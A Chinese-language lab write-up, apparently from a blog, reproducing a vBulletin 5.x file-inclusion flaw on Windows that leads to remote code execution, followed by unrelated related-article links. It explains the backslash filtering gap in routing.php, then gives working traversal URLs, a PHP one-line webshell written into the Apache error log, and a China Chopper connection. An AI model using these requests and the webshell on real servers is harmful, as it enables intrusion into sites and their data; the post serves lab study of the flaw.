vBulletin 5.x 版本通杀远程代码执行漏洞复现
漏洞介绍
vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码。未经验证的恶意访问者可通过向index.php发出包含 routestring=参数的GET 请求,从而触发文件包含漏洞,最终导致远程代码执行漏洞,影响版本:vBulletin v5.x
漏洞原理
index.php页面发送GET请求去使用routestring参数包含本地文件时,层层调用功能函数对routestring的值进行过滤,主要的处理代码位于/includes/vb5/frontend/routing.php文件
if (strlen($path) > 2 ) { $ext = strtolower(substr($path, -4)) ; if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg') OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js')) { header("HTTP/1.0 404 Not Found"); die(''); } }
这段代码判断routestring获取的值是否以.gif, .png, .jpg, .css or .js结尾,如果是则头部信息返回404
if (strpos($path, '/') === false) { $this->controller = 'relay'; $this->action = 'legacy'; $this->template = ''; $this->arguments = array($path); $this->queryParameters = array(); return; }
这段代码中strpos()函数返回/字符在$path中第一次出现的位置,若返回信息为false才会继续处理,也就是说路径中不能出现"/"
对于Linux服务器,处理URL时,/表示目录层的分隔、表示符,所以此处无法以多个../的方式包含网站中的其他文件。但是对于Windows服务器,/和\在表达路径时,是等价的,而程序并没有对\进行处理,所以导致本次针对Windows服务器的文件包含漏洞
实验链接:https://www.ichunqiu.com/vm/60507/1
访问链接:http://172.16.12.2/vb5/index.php?routestring=..\\
爆出了网站的绝对路径
访问网站的写有phpinfo函数的非php文件,验证包含漏洞
http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\phpstudy\\www\phpinfo.txt
成功地执行了根目录下的phpinfo.txt文件
构造链接:http://172.16.12.2/vb5/index.php<?php @eval($_POST['x']);?>
用burp抓包
这个地方被url编码了,需要改一下
发包
返回了403错误,该地址被写到了错误日志里
访问错误日志:http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
php一句话木马被写到里面,用菜刀连接
连接成功
vBulletin 5.x 版本通杀远程代码执行漏洞复现的更多相关文章
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- ECShop全系列版本远程代码执行漏洞复现
前言 问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行 漏洞分析 0x01-SQL注入 先看user.php $back_act变量来源于HTTP_R ...
- Office CVE-2017-8570远程代码执行漏洞复现
实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
- SMBv3远程代码执行漏洞复现(CVE-2020-0796)
漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...
随机推荐
- 生成 (web): 找不到目标 .NET Framework 版本的引用程序集;请确保已安装这些程序集或选择有效的目标版本。
刚刚还好好的,不知道修改什么了,突然出现如下错误: Default.aspx(36): 生成 (web): 找不到目标 .NET Framework 版本的引用程序集:请确保已安装这些程序集或选择有效 ...
- 简介web服务器的工作原理
一 什么是web服务器,应用服务器和web容器? 对于web服务器与应用服务器:“在过去它们是有区别的,但是这两个不同的分类慢慢地合并了,而如今在大多在情况下和使用中可以把它们看成一个整体.” 但是当 ...
- window.onload=function(){}和$(function(){})的区别
1.执行的个数的不同: window.onload()只会执行最后一个,些多个也会被最后一个覆盖. $(function(){})可以写多个,也会执行多个,按照从上至下的顺讯执行 2.执行时间上的不同 ...
- aodh M版本新特性 - queue between alarm evaluator and alarm notifier
之前alarm evaluator service and alarm notifier services之间的通信采用RPC的方式,消耗较大,增加work queue的方式可以获得更好的性能, + ...
- (转)OpenStack Kilo 版本中 Neutron 的新变化
OpenStack Kilo 版本,OpenStack 这个开源项目的第11个版本,已经于2015年4月正式发布了.现在是个合适的时间来看看这个版本中Neutron到底发生了哪些变化了,以及引入了哪些 ...
- review12
使用StringTokenizer对象分解字符串,和split()不同的是,StringTokenizer对象不使用正则表达式作为分隔标记. 当Fenix一个字符串并将字符串分解成可被独立使用的单词时 ...
- css3实现六边形
实现原理:这个效果的主要css样式有:1.>transform: rotate(120deg); 图片旋转2.>overflow:hidden; 超出隐藏3.>visibility: ...
- Ceph中的序列化
转自:https://www.ustack.com/blog/cephxuliehua/ 作为主要和磁盘.网络打交道的分布式存储系统,序列化是最基础的功能之一,今天我们来看一下Ceph中序列化的设计与 ...
- 深入浅出Mybatis系列(九)---强大的动态SQL(转载)
原文出处:http://www.cnblogs.com/dongying/p/4092662.html 上篇文章<深入浅出Mybatis系列(八)---mapper映射文件配置之select.r ...
- ionic2——apk签名
1.签名的意义 为了保证每个应用程序开发商合法ID,防止部分开放商可能通过使用相同的Package Name来混淆替换已经安装的程序,我们需要对我们发布的APK文件进行唯一签名,保证我们每次发布的版本 ...